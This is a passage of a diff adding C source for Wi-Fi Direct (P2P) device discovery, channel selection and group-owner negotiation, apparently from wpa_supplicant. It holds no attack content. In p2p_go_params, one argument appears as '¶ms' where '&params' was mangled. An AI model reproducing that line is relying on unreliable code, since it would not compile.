results callback */ + p2p->p2p_scan_running = 0; + + if (running) + p2p_run_after_scan(p2p); +} + + +static void p2p_free_req_dev_types(struct p2p_data *p2p) +{ + p2p->num_req_dev_types = 0; + os_free(p2p->req_dev_types); + p2p->req_dev_types = NULL; +} + + +int p2p_find(struct p2p_data *p2p, unsigned int timeout, + enum p2p_discovery_type type, + unsigned int num_req_dev_types, const u8 *req_dev_types, + const u8 *dev_id, unsigned int search_delay) +{ + int res; + + p2p_dbg(p2p, "Starting find (type=%d)", type); + os_get_time(&p2p->find_start); + if (p2p->p2p_scan_running) { + p2p_dbg(p2p, "p2p_scan is already running"); + } + + p2p_free_req_dev_types(p2p); + if (req_dev_types && num_req_dev_types) { + p2p->req_dev_types = os_malloc(num_req_dev_types * + WPS_DEV_TYPE_LEN); + if (p2p->req_dev_types == NULL) + return -1; + os_memcpy(p2p->req_dev_types, req_dev_types, + num_req_dev_types * WPS_DEV_TYPE_LEN); + p2p->num_req_dev_types = num_req_dev_types; + } + + if (dev_id) { + os_memcpy(p2p->find_dev_id_buf, dev_id, ETH_ALEN); + p2p->find_dev_id = p2p->find_dev_id_buf; + } else + p2p->find_dev_id = NULL; + + p2p->start_after_scan = P2P_AFTER_SCAN_NOTHING; + p2p_clear_timeout(p2p); + p2p->cfg->stop_listen(p2p->cfg->cb_ctx); + p2p->find_type = type; + p2p_device_clear_reported(p2p); + p2p_set_state(p2p, P2P_SEARCH); + p2p->search_delay = search_delay; + p2p->in_search_delay = 0; + eloop_cancel_timeout(p2p_find_timeout, p2p, NULL); + p2p->last_p2p_find_timeout = timeout; + if (timeout) + eloop_register_timeout(timeout, 0, p2p_find_timeout, + p2p, NULL); + switch (type) { + case P2P_FIND_START_WITH_FULL: + case P2P_FIND_PROGRESSIVE: + res = p2p->cfg->p2p_scan(p2p->cfg->cb_ctx, P2P_SCAN_FULL, 0, + p2p->num_req_dev_types, + p2p->req_dev_types, dev_id, + DEV_PW_DEFAULT); + break; + case P2P_FIND_ONLY_SOCIAL: + res = p2p->cfg->p2p_scan(p2p->cfg->cb_ctx, P2P_SCAN_SOCIAL, 0, + p2p->num_req_dev_types, + p2p->req_dev_types, dev_id, + DEV_PW_DEFAULT); + break; + default: + return -1; + } + + if (res == 0) { + p2p_dbg(p2p, "Running p2p_scan"); + p2p->p2p_scan_running = 1; + eloop_cancel_timeout(p2p_scan_timeout, p2p, NULL); + eloop_register_timeout(P2P_SCAN_TIMEOUT, 0, p2p_scan_timeout, + p2p, NULL); + } else if (res == 1) { + p2p_dbg(p2p, "Could not start p2p_scan at this point - will try again after previous scan completes"); + res = 0; + p2p_set_state(p2p, P2P_SEARCH_WHEN_READY); + eloop_cancel_timeout(p2p_find_timeout, p2p, NULL); + } else { + p2p_dbg(p2p, "Failed to start p2p_scan"); + p2p_set_state(p2p, P2P_IDLE); + eloop_cancel_timeout(p2p_find_timeout, p2p, NULL); + } + + return res; +} + + +int p2p_other_scan_completed(struct p2p_data *p2p) +{ + if (p2p->state == P2P_CONTINUE_SEARCH_WHEN_READY) { + p2p_set_state(p2p, P2P_SEARCH); + p2p_search(p2p); + return 1; + } + if (p2p->state != P2P_SEARCH_WHEN_READY) + return 0; + p2p_dbg(p2p, "Starting pending P2P find now that previous scan was completed"); + if (p2p_find(p2p, p2p->last_p2p_find_timeout, p2p->find_type, + p2p->num_req_dev_types, p2p->req_dev_types, + p2p->find_dev_id, p2p->search_delay) < 0) { + p2p->cfg->find_stopped(p2p->cfg->cb_ctx); + return 0; + } + return 1; +} + + +void p2p_stop_find_for_freq(struct p2p_data *p2p, int freq) +{ + p2p_dbg(p2p, "Stopping find"); + eloop_cancel_timeout(p2p_find_timeout, p2p, NULL); + p2p_clear_timeout(p2p); + if (p2p->state == P2P_SEARCH || + p2p->state == P2P_CONTINUE_SEARCH_WHEN_READY || + p2p->state == P2P_SEARCH_WHEN_READY) + p2p->cfg->find_stopped(p2p->cfg->cb_ctx); + p2p_set_state(p2p, P2P_IDLE); + p2p_free_req_dev_types(p2p); + p2p->start_after_scan = P2P_AFTER_SCAN_NOTHING; + if (p2p->go_neg_peer) + p2p->go_neg_peer->flags &= ~P2P_DEV_PEER_WAITING_RESPONSE; + p2p->go_neg_peer = NULL; + p2p->sd_peer = NULL; + p2p->invite_peer = NULL; + p2p_stop_listen_for_freq(p2p, freq); +} + + +void p2p_stop_listen_for_freq(struct p2p_data *p2p, int freq) +{ + if (freq > 0 && p2p->drv_in_listen == freq && p2p->in_listen) { + p2p_dbg(p2p, "Skip stop_listen since we are on correct channel for response"); + return; + } + if (p2p->in_listen) { + p2p->in_listen = 0; + p2p_clear_timeout(p2p); + } + if (p2p->drv_in_listen) { + /* + * The driver may not deliver callback to p2p_listen_end() + * when the operation gets canceled, so clear the internal + * variable that is tracking driver state. + */ + p2p_dbg(p2p, "Clear drv_in_listen (%d)", p2p->drv_in_listen); + p2p->drv_in_listen = 0; + } + p2p->cfg->stop_listen(p2p->cfg->cb_ctx); +} + + +void p2p_stop_listen(struct p2p_data *p2p) +{ + if (p2p->state != P2P_LISTEN_ONLY) { + p2p_dbg(p2p, "Skip stop_listen since not in listen_only state."); + return; + } + + p2p_stop_listen_for_freq(p2p, 0); + p2p_set_state(p2p, P2P_IDLE); +} + + +void p2p_stop_find(struct p2p_data *p2p) +{ + p2p_stop_find_for_freq(p2p, 0); +} + + +static int p2p_prepare_channel_pref(struct p2p_data *p2p, + unsigned int force_freq, + unsigned int pref_freq, int go) +{ + u8 op_class, op_channel; + unsigned int freq = force_freq ? force_freq : pref_freq; + + p2p_dbg(p2p, "Prepare channel pref - force_freq=%u pref_freq=%u go=%d", + force_freq, pref_freq, go); + if (p2p_freq_to_channel(freq, &op_class, &op_channel) < 0) { + p2p_dbg(p2p, "Unsupported frequency %u MHz", freq); + return -1; + } + + if (!p2p_channels_includes(&p2p->cfg->channels, op_class, op_channel) && + (go || !p2p_channels_includes(&p2p->cfg->cli_channels, op_class, + op_channel))) { + p2p_dbg(p2p, "Frequency %u MHz (oper_class %u channel %u) not allowed for P2P", + freq, op_class, op_channel); + return -1; + } + + p2p->op_reg_class = op_class; + p2p->op_channel = op_channel; + + if (force_freq) { + p2p->channels.reg_classes = 1; + p2p->channels.reg_class[0].channels = 1; + p2p->channels.reg_class[0].reg_class = p2p->op_reg_class; + p2p->channels.reg_class[0].channel[0] = p2p->op_channel; + } else { + os_memcpy(&p2p->channels, &p2p->cfg->channels, + sizeof(struct p2p_channels)); + } + + return 0; +} + + +static void p2p_prepare_channel_best(struct p2p_data *p2p) +{ + u8 op_class, op_channel; + const int op_classes_5ghz[] = { 124, 115, 0 }; + const int op_classes_ht40[] = { 126, 127, 116, 117, 0 }; + const int op_classes_vht[] = { 128, 0 }; + + p2p_dbg(p2p, "Prepare channel best"); + + if (!p2p->cfg->cfg_op_channel && p2p->best_freq_overall > 0 && + p2p_supported_freq(p2p, p2p->best_freq_overall) && + p2p_freq_to_channel(p2p->best_freq_overall, &op_class, &op_channel) + == 0) { + p2p_dbg(p2p, "Select best overall channel as operating channel preference"); + p2p->op_reg_class = op_class; + p2p->op_channel = op_channel; + } else if (!p2p->cfg->cfg_op_channel && p2p->best_freq_5 > 0 && + p2p_supported_freq(p2p, p2p->best_freq_5) && + p2p_freq_to_channel(p2p->best_freq_5, &op_class, &op_channel) + == 0) { + p2p_dbg(p2p, "Select best 5 GHz channel as operating channel preference"); + p2p->op_reg_class = op_class; + p2p->op_channel = op_channel; + } else if (!p2p->cfg->cfg_op_channel && p2p->best_freq_24 > 0 && + p2p_supported_freq(p2p, p2p->best_freq_24) && + p2p_freq_to_channel(p2p->best_freq_24, &op_class, + &op_channel) == 0) { + p2p_dbg(p2p, "Select best 2.4 GHz channel as operating channel preference"); + p2p->op_reg_class = op_class; + p2p->op_channel = op_channel; + } else if (p2p->cfg->num_pref_chan > 0 && + p2p_channels_includes(&p2p->cfg->channels, + p2p->cfg->pref_chan[0].op_class, + p2p->cfg->pref_chan[0].chan)) { + p2p_dbg(p2p, "Select first pref_chan entry as operating channel preference"); + p2p->op_reg_class = p2p->cfg->pref_chan[0].op_class; + p2p->op_channel = p2p->cfg->pref_chan[0].chan; + } else if (p2p_channel_select(&p2p->cfg->channels, op_classes_vht, + &p2p->op_reg_class, &p2p->op_channel) == + 0) { + p2p_dbg(p2p, "Select possible VHT channel (op_class %u channel %u) as operating channel preference", + p2p->op_reg_class, p2p->op_channel); + } else if (p2p_channel_select(&p2p->cfg->channels, op_classes_ht40, + &p2p->op_reg_class, &p2p->op_channel) == + 0) { + p2p_dbg(p2p, "Select possible HT40 channel (op_class %u channel %u) as operating channel preference", + p2p->op_reg_class, p2p->op_channel); + } else if (p2p_channel_select(&p2p->cfg->channels, op_classes_5ghz, + &p2p->op_reg_class, &p2p->op_channel) == + 0) { + p2p_dbg(p2p, "Select possible 5 GHz channel (op_class %u channel %u) as operating channel preference", + p2p->op_reg_class, p2p->op_channel); + } else { + p2p_dbg(p2p, "Select pre-configured channel as operating channel preference"); + p2p->op_reg_class = p2p->cfg->op_reg_class; + p2p->op_channel = p2p->cfg->op_channel; + } + + os_memcpy(&p2p->channels, &p2p->cfg->channels, + sizeof(struct p2p_channels)); +} + + +/** + * p2p_prepare_channel - Select operating channel for GO Negotiation + * @p2p: P2P module context from p2p_init() + * @dev: Selected peer device + * @force_freq: Forced frequency in MHz or 0 if not forced + * @pref_freq: Preferred frequency in MHz or 0 if no preference + * @go: Whether the local end will be forced to be GO + * Returns: 0 on success, -1 on failure (channel not supported for P2P) + * + * This function is used to do initial operating channel selection for GO + * Negotiation prior to having received peer information. The selected channel + * may be further optimized in p2p_reselect_channel() once the peer information + * is available. + */ +int p2p_prepare_channel(struct p2p_data *p2p, struct p2p_device *dev, + unsigned int force_freq, unsigned int pref_freq, int go) +{ + p2p_dbg(p2p, "Prepare channel - force_freq=%u pref_freq=%u go=%d", + force_freq, pref_freq, go); + if (force_freq || pref_freq) { + if (p2p_prepare_channel_pref(p2p, force_freq, pref_freq, go) < + 0) + return -1; + } else { + p2p_prepare_channel_best(p2p); + } + p2p_channels_dump(p2p, "prepared channels", &p2p->channels); + if (go) + p2p_channels_remove_freqs(&p2p->channels, &p2p->no_go_freq); + else if (!force_freq) + p2p_channels_union(&p2p->channels, &p2p->cfg->cli_channels, + &p2p->channels); + p2p_channels_dump(p2p, "after go/cli filter/add", &p2p->channels); + + p2p_dbg(p2p, "Own preference for operation channel: Operating Class %u Channel %u%s", + p2p->op_reg_class, p2p->op_channel, + force_freq ? " (forced)" : ""); + + if (force_freq) + dev->flags |= P2P_DEV_FORCE_FREQ; + else + dev->flags &= ~P2P_DEV_FORCE_FREQ; + + return 0; +} + + +static void p2p_set_dev_persistent(struct p2p_device *dev, + int persistent_group) +{ + switch (persistent_group) { + case 0: + dev->flags &= ~(P2P_DEV_PREFER_PERSISTENT_GROUP | + P2P_DEV_PREFER_PERSISTENT_RECONN); + break; + case 1: + dev->flags |= P2P_DEV_PREFER_PERSISTENT_GROUP; + dev->flags &= ~P2P_DEV_PREFER_PERSISTENT_RECONN; + break; + case 2: + dev->flags |= P2P_DEV_PREFER_PERSISTENT_GROUP | + P2P_DEV_PREFER_PERSISTENT_RECONN; + break; + } +} + + +int p2p_connect(struct p2p_data *p2p, const u8 *peer_addr, + enum p2p_wps_method wps_method, + int go_intent, const u8 *own_interface_addr, + unsigned int force_freq, int persistent_group, + const u8 *force_ssid, size_t force_ssid_len, + int pd_before_go_neg, unsigned int pref_freq) +{ + struct p2p_device *dev; + + p2p_dbg(p2p, "Request to start group negotiation - peer=" MACSTR + " GO Intent=%d Intended Interface Address=" MACSTR + " wps_method=%d persistent_group=%d pd_before_go_neg=%d", + MAC2STR(peer_addr), go_intent, MAC2STR(own_interface_addr), + wps_method, persistent_group, pd_before_go_neg); + + dev = p2p_get_device(p2p, peer_addr); + if (dev == NULL || (dev->flags & P2P_DEV_PROBE_REQ_ONLY)) { + p2p_dbg(p2p, "Cannot connect to unknown P2P Device " MACSTR, + MAC2STR(peer_addr)); + return -1; + } + + if (p2p_prepare_channel(p2p, dev, force_freq, pref_freq, + go_intent == 15) < 0) + return -1; + + if (dev->flags & P2P_DEV_GROUP_CLIENT_ONLY) { + if (!(dev->info.dev_capab & + P2P_DEV_CAPAB_CLIENT_DISCOVERABILITY)) { + p2p_dbg(p2p, "Cannot connect to P2P Device " MACSTR + " that is in a group and is not discoverable", + MAC2STR(peer_addr)); + return -1; + } + if (dev->oper_freq <= 0) { + p2p_dbg(p2p, "Cannot connect to P2P Device " MACSTR + " with incomplete information", + MAC2STR(peer_addr)); + return -1; + } + + /* + * First, try to connect directly. If the peer does not + * acknowledge frames, assume it is sleeping and use device + * discoverability via the GO at that point. + */ + } + + p2p->ssid_set = 0; + if (force_ssid) { + wpa_hexdump_ascii(MSG_DEBUG, "P2P: Forced SSID", + force_ssid, force_ssid_len); + os_memcpy(p2p->ssid, force_ssid, force_ssid_len); + p2p->ssid_len = force_ssid_len; + p2p->ssid_set = 1; + } + + dev->flags &= ~P2P_DEV_NOT_YET_READY; + dev->flags &= ~P2P_DEV_USER_REJECTED; + dev->flags &= ~P2P_DEV_WAIT_GO_NEG_RESPONSE; + dev->flags &= ~P2P_DEV_WAIT_GO_NEG_CONFIRM; + if (pd_before_go_neg) + dev->flags |= P2P_DEV_PD_BEFORE_GO_NEG; + else { + dev->flags &= ~P2P_DEV_PD_BEFORE_GO_NEG; + /* + * Assign dialog token and tie breaker here to use the same + * values in each retry within the same GO Negotiation exchange. + */ + dev->dialog_token++; + if (dev->dialog_token == 0) + dev->dialog_token = 1; + dev->tie_breaker = p2p->next_tie_breaker; + p2p->next_tie_breaker = !p2p->next_tie_breaker; + } + dev->connect_reqs = 0; + dev->go_neg_req_sent = 0; + dev->go_state = UNKNOWN_GO; + p2p_set_dev_persistent(dev, persistent_group); + p2p->go_intent = go_intent; + os_memcpy(p2p->intended_addr, own_interface_addr, ETH_ALEN); + + if (p2p->state != P2P_IDLE) + p2p_stop_find(p2p); + + if (p2p->after_scan_tx) { + /* + * We need to drop the pending frame to avoid issues with the + * new GO Negotiation, e.g., when the pending frame was from a + * previous attempt at starting a GO Negotiation. + */ + p2p_dbg(p2p, "Dropped previous pending Action frame TX that was waiting for p2p_scan completion"); + os_free(p2p->after_scan_tx); + p2p->after_scan_tx = NULL; + } + + dev->wps_method = wps_method; + dev->status = P2P_SC_SUCCESS; + + if (p2p->p2p_scan_running) { + p2p_dbg(p2p, "p2p_scan running - delay connect send"); + p2p->start_after_scan = P2P_AFTER_SCAN_CONNECT; + os_memcpy(p2p->after_scan_peer, peer_addr, ETH_ALEN); + return 0; + } + p2p->start_after_scan = P2P_AFTER_SCAN_NOTHING; + + return p2p_connect_send(p2p, dev); +} + + +int p2p_authorize(struct p2p_data *p2p, const u8 *peer_addr, + enum p2p_wps_method wps_method, + int go_intent, const u8 *own_interface_addr, + unsigned int force_freq, int persistent_group, + const u8 *force_ssid, size_t force_ssid_len, + unsigned int pref_freq) +{ + struct p2p_device *dev; + + p2p_dbg(p2p, "Request to authorize group negotiation - peer=" MACSTR + " GO Intent=%d Intended Interface Address=" MACSTR + " wps_method=%d persistent_group=%d", + MAC2STR(peer_addr), go_intent, MAC2STR(own_interface_addr), + wps_method, persistent_group); + + dev = p2p_get_device(p2p, peer_addr); + if (dev == NULL) { + p2p_dbg(p2p, "Cannot authorize unknown P2P Device " MACSTR, + MAC2STR(peer_addr)); + return -1; + } + + if (p2p_prepare_channel(p2p, dev, force_freq, pref_freq, go_intent == + 15) < 0) + return -1; + + p2p->ssid_set = 0; + if (force_ssid) { + wpa_hexdump_ascii(MSG_DEBUG, "P2P: Forced SSID", + force_ssid, force_ssid_len); + os_memcpy(p2p->ssid, force_ssid, force_ssid_len); + p2p->ssid_len = force_ssid_len; + p2p->ssid_set = 1; + } + + dev->flags &= ~P2P_DEV_NOT_YET_READY; + dev->flags &= ~P2P_DEV_USER_REJECTED; + dev->go_neg_req_sent = 0; + dev->go_state = UNKNOWN_GO; + p2p_set_dev_persistent(dev, persistent_group); + p2p->go_intent = go_intent; + os_memcpy(p2p->intended_addr, own_interface_addr, ETH_ALEN); + + dev->wps_method = wps_method; + dev->status = P2P_SC_SUCCESS; + + return 0; +} + + +void p2p_add_dev_info(struct p2p_data *p2p, const u8 *addr, + struct p2p_device *dev, struct p2p_message *msg) +{ + os_get_time(&dev->last_seen); + + p2p_copy_wps_info(p2p, dev, 0, msg); + + if (msg->listen_channel) { + int freq; + freq = p2p_channel_to_freq(msg->listen_channel[3], + msg->listen_channel[4]); + if (freq < 0) { + p2p_dbg(p2p, "Unknown peer Listen channel: " + "country=%c%c(0x%02x) reg_class=%u channel=%u", + msg->listen_channel[0], + msg->listen_channel[1], + msg->listen_channel[2], + msg->listen_channel[3], + msg->listen_channel[4]); + } else { + p2p_dbg(p2p, "Update peer " MACSTR + " Listen channel: %u -> %u MHz", + MAC2STR(dev->info.p2p_device_addr), + dev->listen_freq, freq); + dev->listen_freq = freq; + } + } + + if (msg->wfd_subelems) { + wpabuf_free(dev->info.wfd_subelems); + dev->info.wfd_subelems = wpabuf_dup(msg->wfd_subelems); + } + + if (dev->flags & P2P_DEV_PROBE_REQ_ONLY) { + dev->flags &= ~P2P_DEV_PROBE_REQ_ONLY; + p2p_dbg(p2p, "Completed device entry based on data from GO Negotiation Request"); + } else { + p2p_dbg(p2p, "Created device entry based on GO Neg Req: " + MACSTR " dev_capab=0x%x group_capab=0x%x name='%s' " + "listen_freq=%d", + MAC2STR(dev->info.p2p_device_addr), + dev->info.dev_capab, dev->info.group_capab, + dev->info.device_name, dev->listen_freq); + } + + dev->flags &= ~P2P_DEV_GROUP_CLIENT_ONLY; + + if (dev->flags & P2P_DEV_USER_REJECTED) { + p2p_dbg(p2p, "Do not report rejected device"); + return; + } + + p2p->cfg->dev_found(p2p->cfg->cb_ctx, addr, &dev->info, + !(dev->flags & P2P_DEV_REPORTED_ONCE)); + dev->flags |= P2P_DEV_REPORTED | P2P_DEV_REPORTED_ONCE; +} + + +void p2p_build_ssid(struct p2p_data *p2p, u8 *ssid, size_t *ssid_len) +{ + os_memcpy(ssid, P2P_WILDCARD_SSID, P2P_WILDCARD_SSID_LEN); + p2p_random((char *) &ssid[P2P_WILDCARD_SSID_LEN], 2); + os_memcpy(&ssid[P2P_WILDCARD_SSID_LEN + 2], + p2p->cfg->ssid_postfix, p2p->cfg->ssid_postfix_len); + *ssid_len = P2P_WILDCARD_SSID_LEN + 2 + p2p->cfg->ssid_postfix_len; +} + + +int p2p_go_params(struct p2p_data *p2p, struct p2p_go_neg_results *params) +{ + p2p_build_ssid(p2p, params->ssid, ¶ms->ssid_len); + p2p_random(params->passphrase, 8); + return 0; +} + + +void p2p_go_complete(struct p2p_data *p2p, struct p2p_device *peer) +{ + struct p2p_go_neg_results res; + int go = peer->go_state == LOCAL_GO; + struct p2p_channels intersection; + int freqs; + size_t i, j; + + p2p_dbg(p2p, "GO Negotiation with " MACSTR " completed (%s will be GO)", + MAC2STR(peer->info.p2p_device_addr), go ? "local end" : "peer"); + + os_memset(&res, 0, sizeof(res)); + res.role_go = go; + os_memcpy(res.peer_device_addr, peer->info.p2p_device_addr, ETH_ALEN); + os_memcpy(res.peer_interface_addr, peer->intended_addr, ETH_ALEN); + res.wps_method = peer->wps_method; + if (peer->flags & P2P_DEV_PREFER_PERSISTENT_GROUP) { + if (peer->flags & P2P_DEV_PREFER_PERSISTENT_RECONN) + res.persistent_group = 2; + else + res.persistent_group = 1; + } + + if (go) { + /* Setup AP mode for WPS provisioning */ + res.freq = p2p_channel_to_freq(p2p->op_reg_class, + p2p->op_channel); + os_memcpy(res.ssid, p2p->ssid, p2p->ssid_len); + res.ssid_len = p2p->ssid_len; + p2p_random(res.passphrase, 8); + } else { + res.freq = peer->oper_freq; + if (p2p->ssid_len) { + os_memcpy(res.ssid, p2p->ssid, p2p->ssid_len); + res.ssid_len = p2p->ssid_len; + } + } + + p2p_channels_dump(p2p, "own channels", &p2p->channels); + p2p_channels_dump(p2p, "peer channels", &peer->channels); + p2p_channels_intersect(&p2p->channels, &peer->channels, + &intersection); + if (go) { + p2p_channels_remove_freqs(&intersection, &p2p->no_go_freq); + p2p_channels_dump(p2p, "intersection after no-GO removal", + &intersection); + } + freqs = 0; + for (i = 0; i < intersection.reg_classes; i++) { + struct p2p_reg_class *c = &intersection.reg_class[i]; + if (freqs + 1 == P2P_MAX_CHANNELS) + break; + for (j = 0; j < c->channels; j++) { + int freq; + if (freqs + 1 == P2P_MAX_CHANNELS) + break; + freq = p2p_channel_to_freq(c->reg_class, c->channel[j]); + if (freq < 0) + continue; + res.freq_list[freqs++] = freq; + } + } + + res.peer_config_timeout = go ? peer->client_timeout : peer->go_timeout; + + p2p_clear_timeout(p2p); + p2p->ssid_set = 0; + peer->go_neg_req_sent = 0; + peer->wps_method = WPS_NOT_READY; + + p2p_set_state(p2p, P2P_PROVISIONING); + p2p->cfg->go_neg_completed(p2p->cfg->cb_ctx, &res); +} + + +static void p2p_rx_p2p_action(struct p2p_data *p2p, const u8 *sa, + const u8 *data, size_t len, int rx_freq) +{ + p2p_dbg(p2p, "RX P2P Public Action from " MACSTR, MAC2STR(sa)); + wpa_hexdump(MSG_MSGDUMP, "P2P: P2P Public Action contents", data, len); + + if (len < 1) + return; + + switch (data[0]) { + case P2P_GO_NEG_REQ: + p2p_process_go_neg_req(p2p, sa, data + 1, len - 1, rx_freq); + break; + case P2P_GO_NEG_RESP: + p2p_process_go_neg_resp(p2p, sa, data + 1, len - 1, rx_freq); + break; + case P2P_GO_NEG_CONF: + p2p_process_go_neg_conf(p2p, sa, data + 1, len - 1); + break; + case P2P_INVITATION_REQ: + p2p_process_invitation_req(p2p, sa, data + 1, len - 1, + rx_freq); + break; + case P2P_INVITATION_RESP: + p2p->cfg->send_action_done(p2p->cfg->cb_ctx); + p2p_process_invitation_resp(p2p, sa, data + 1, len - 1); + break; + case P2P_PROV_DISC_REQ: + p2p_process_prov_disc_req(p2p, sa, data + 1, len - 1, rx_freq); + break; + case P2P_PROV_DISC_RESP: + p2p_process_prov_disc_resp(p2p, sa, data + 1, len - 1); + break; + case P2P_DEV_DISC_REQ: + p2p_process_dev_disc_req(p2p, sa, data + 1, len - 1, rx_freq); + break; + case P2P_DEV_DISC_RESP: + p2p_process_dev_disc_resp(p2p, sa, data + 1, len - 1); + break; + default: + p2p_dbg(p2p, "Unsupported P2P Public Action frame type %d", + data[0]); + break; + } +} + + +static void p2p_rx_action_public(struct p2p_data *p2p, const u8 *da, + const u8 *sa, const u8 *bssid, const u8 *data, + size_t len, int freq) +{ + if (len < 1) + return; + + switch (data[0]) { + case WLAN_PA_VENDOR_SPECIFIC: + data++; + len--; + if (len < 3) + return; + if (WPA_GET_BE24(data) != OUI_WFA) + return; + + data += 3; + len -= 3; + if (len < 1) + return; + + if (*data != P2P_OUI_TYPE) + return; + + p2p_rx_p2p_action(p2p, sa, data + 1, len - 1, freq); + break; + case WLAN_PA_GAS_INITIAL_REQ: + p2p_rx_gas_initial_req(p2p, sa, data + 1, len - 1, freq); + break; + case WLAN_PA_GAS_INITIAL_RESP: + p2p_rx_gas_initial_resp(p2p, sa, data + 1, len - 1, freq); + break; + case WLAN_PA_GAS_COMEBACK_REQ: + p2p_rx_gas_comeback_req(p2p, sa, data + 1, len - 1, freq); + break; + case WLAN_PA_GAS_COMEBACK_RESP: + p2p_rx_gas_comeback_resp(p2p, sa, data + 1, len - 1, freq); + break; + } +} + + +void p2p_rx_action(struct p2p_data *p2p, const u8 *da, const u8 *sa, + const u8 *bssid, u8 category, + const u8 *data, size_t len, int freq) +{ + if (category == WLAN_ACTION_PUBLIC) { + p2p_rx_action_public(p2p, da, sa, bssid, data, len, freq); + return; + } + + if (category != WLAN_ACTION_VENDOR_SPECIFIC) + return; + + if (len < 4) + return; + + if (WPA_GET_BE24(data) != OUI_WFA) + return; + data += 3; + len -= 3; + + if (*data != P2P_OUI_TYPE) + return; + data++; + len--; + + /* P2P action frame */ + p2p_dbg(p2p, "RX P2P Action from " MACSTR, MAC2STR(sa)); + wpa_hexdump(MSG_MSGDUMP, "P2P: P2P Action contents", data, len); + + if (len < 1) + return; + switch (data[0]) { + case P2P_NOA: + p2p_dbg(p2p, "Received P2P Action - Notice of Absence"); + /* TODO */ + break; + case P2P_PRESENCE_REQ: + p2p_process_presence_req(p2p, da, sa, data + 1, len - 1, freq); + break; + case P2P_PRESENCE_RESP: + p2p_process_presence_resp(p2p, da, sa, data + 1, len - 1); + break; + case P2P_GO_DISC_REQ: + p2p_process_go_disc_req(p2p, da, sa, data + 1, len - 1, freq); + break; + default: + p2p_dbg(p2p, "Received P2P Action - unknown type %u", data[0]); + break; + } +} + + +static void p2p_go_neg_start(void *eloop_ctx, void *timeout_ctx) +{ + struct p2p_data *p2p = eloop_ctx; + if (p2p->go_neg_peer == NULL) + return; + p2p->cfg->stop_listen(p2p->cfg->cb_ctx); + p2p->go_neg_peer->status = P2P_SC_SUCCESS; + p2p_connect_send(p2p, p2p->go_neg_peer); +} + + +static void p2p_invite_start(void *eloop_ctx, void *timeout_ctx) +{ + struct p2p_data *p2p = eloop_ctx; + if (p2p->invite_peer == NULL) + return; + p2p->cfg->stop_listen(p2p->cfg->cb_ctx); + p2p_invite_send(p2p, p2p->invite_peer, p2p->invite_go_dev_addr); +} + + +static void p2p_add_dev_from_probe_req(struct p2p_data *p2p, const u8 *addr, + const u8 *ie, size_t ie_len) +{ + struct p2p_message msg; + struct p2p_device *dev; + + os_memset(&msg, 0, sizeof(msg)); + if (p2p_parse_ies(ie, ie_len, &msg) < 0 || msg.p2p_attributes == NULL) + { + p2p_parse_free(&msg); + return; /* not a P2P probe */ + } + + if (msg.ssid == NULL || msg.ssid[1] != P2P_WILDCARD_SSID_LEN || + os_memcmp(msg.ssid + 2, P2P_WILDCARD_SSID, P2P_WILDCARD_SSID_LEN) + != 0) { + /* The Probe Request is not part of P2P Device Discovery. It is + * not known whether the source address of the frame is the P2P + * Device Address or P2P Interface Address. Do not add a new + * peer entry based on this frames. + */ + p2p_parse_free(&msg); + return; + } + + dev = p2p_get_device(p2p, addr); + if (dev) { + if (dev->country[0] == 0 && msg.listen_channel) + os_memcpy(dev->country, msg.listen_channel, 3); + os_get_time(&dev->last_seen); + p2p_parse_free(&msg); + return; /* already known */ + } + + dev = p2p_create_device(p2p, addr); + if (dev == NULL) { + p2p_parse_free(&msg); + return; + } + + os_get_time(&dev->last_seen); + dev->flags |= P2P_DEV_PROBE_REQ_ONLY; + + if (msg.listen_channel) { + os_memcpy(dev->country, msg.listen_channel, 3); + dev->listen_freq = p2p_channel_to_freq(msg.listen_channel[3], + msg.listen_channel[4]); + } + + p2p_copy_wps_info(p2p, dev, 1, &msg); + + if (msg.wfd_subelems) { + wpabuf_free(dev->info.wfd_subelems); + dev->info.wfd_subelems = wpabuf_dup(msg.wfd_subelems); + } + + p2p_parse_free(&msg); + + p2p_dbg(p2p, "Created device entry based on Probe Req: " MACSTR + " dev_capab=0x%x group_capab=0x%x name='%s' listen_freq=%d", + MAC2STR(dev->info.p2p_device_addr), dev->info.dev_capab, + dev->info.group_capab, dev->info.device_name, + dev->listen_freq); +} + + +struct p2p_device * p2p_add_dev_from_go_neg_req(struct p2p_data *p2p, + const u8 *addr, + struct p2p_message *msg) +{ + struct p2p_device *dev; + + dev = p2p_get_device(p2p, addr); + if (dev) { + os_get_time(&dev->last_seen); + return dev; /* already known */ + } + + dev = p2p_create_device(p2p, addr); + if (dev == NULL) + return NULL; + + p2p_add_dev_info(p2p, addr, dev, msg); + + return dev; +} + + +static int dev_type_match(const u8 *dev_type, const u8 *req_dev_type) +{ + if (os_memcmp(dev_type, req_dev_type, WPS_DEV_TYPE_LEN) == 0) + return 1; + if (os_memcmp(dev_type, req_dev_type, 2) == 0 && + WPA_GET_BE32(&req_dev_type[2]) == 0 && + WPA_GET_BE16(&req_dev_type[6]) == 0) + return 1; /* Category match with wildcard OUI/sub-category */ + return 0; +} + + +int dev_type_list_match(const u8 *dev_type, const u8 *req_dev_type[], + size_t num_req_dev_type) +{ + size_t i; + for (i = 0; i < num_req_dev_type; i++) { + if (dev_type_match(dev_type, req_dev_type[i])) + return 1; + } + return 0; +} + + +/** + * p2p_match_dev_type - Match local device type with requested type + * @p2p: P2P module context from p2p_init() + * @wps: WPS TLVs from Probe Request frame (concatenated WPS IEs) + * Returns: 1 on match, 0 on mismatch + * + * This function can be used to match the Requested Device Type attribute in + * WPS IE with the local device types for deciding whether to reply to a Probe + * Request frame. + */ +int p2p_match_dev_type(struct p2p_data *p2p, struct wpabuf *wps) +{ + struct wps_parse_attr attr; + size_t i; + + if (wps_parse_msg(wps, &attr)) + return 1; /* assume no Requested Device Type attributes */ + + if (attr.num_req_dev_type == 0) + return 1; /* no Requested Device Type attributes -> match */ + + if (dev_type_list_match(p2p->cfg->pri_dev_type, attr.req_dev_type, + attr.num_req_dev_type)) + return 1; /* Own Primary Device Type matches */ + + for (i = 0; i < p2p->cfg->num_sec_dev_types; i++) + if (dev_type_list_match(p2p->cfg->sec_dev_type[i], + attr.req_dev_type, + attr.num_req_dev_type)) + return 1; /* Own Secondary Device Type matches */ + + /* No matching device type found */ + return 0; +} + + +struct wpabuf * p2p_build_probe_resp_ies(struct p2p_data *p2p) +{ + struct wpabuf *buf; + u8 *len; + int pw_id = -1; + size_t extra = 0; + +#ifdef CONFIG_WIFI_DISPLAY + if (p2p->wfd_ie_probe_resp) + extra = wpabuf_len(p2p->wfd_ie_probe_resp); +#endif /* CONFIG_WIFI_DISPLAY */ + + buf = wpabuf_alloc(1000 + extra); + if (buf == NULL) + 